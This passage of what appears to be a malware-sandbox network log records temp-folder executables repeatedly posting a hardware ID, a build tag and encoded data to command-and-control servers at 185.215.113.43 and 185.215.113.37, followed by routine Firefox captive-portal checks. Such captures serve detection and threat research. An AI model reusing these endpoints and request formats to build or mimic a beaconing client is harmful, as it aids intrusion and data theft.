61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="build"doma------AEBKKECBGIIJJKECGIJE--
Oct 22, 2024 19:25:43.274996996 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:43 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49845	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:43.298074961 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:25:44.211992979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49861	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:45.732914925 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:25:46.644635916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49877	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:48.370620966 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:25:49.270827055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49888	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:50.795105934 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:25:51.700943947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49894	185.215.113.37	80	8088	C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:51.664266109 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 22, 2024 19:25:52.587654114 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 22, 2024 19:25:52.596453905 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJEC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="build"doma------CAKKEGDGCGDAKEBFIJEC--
Oct 22, 2024 19:25:52.886464119 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49905	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:53.326097965 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:25:54.229509115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49921	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:55.747701883 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:25:56.692186117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49937	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:58.328161955 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:25:59.222449064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49943	185.215.113.37	80	5736	C:\Users\user\AppData\Local\Temp\1000779001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:59.687011003 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 22, 2024 19:26:00.600356102 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:26:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 22, 2024 19:26:00.648199081 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="build"doma------HIIDGCGCBFBAKFHIJDBA--
Oct 22, 2024 19:26:00.933252096 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:26:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49949	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:00.753015995 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:26:01.660012007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:26:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.8	49969	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:02.222080946 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:02.855673075 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64438 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.8	49980	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:02.901009083 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:03.487948895 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82258 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:03.602183104 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:03.725560904 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82258 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:04.102850914 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:04.225773096 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82259 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:04.242283106 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:04.365466118 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82259 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:04.774966002 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:04.898834944 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82259 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:05.394018888 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:05.519727945 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82260 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:06.050429106 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:06.356384993 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82261 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:06.689929962 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:06.814204931 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82261 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:07.321098089 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:07.445135117 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82262 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:09.193872929 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:09.318470001 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82264 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:12.630773067 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:12.754600048 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82267 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.8	49982	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:02.991664886 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:03.599672079 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64439 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:03.966532946 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:04.093900919 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64440 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:04.112211943 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:04.239815950 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64440 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:04.644274950 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
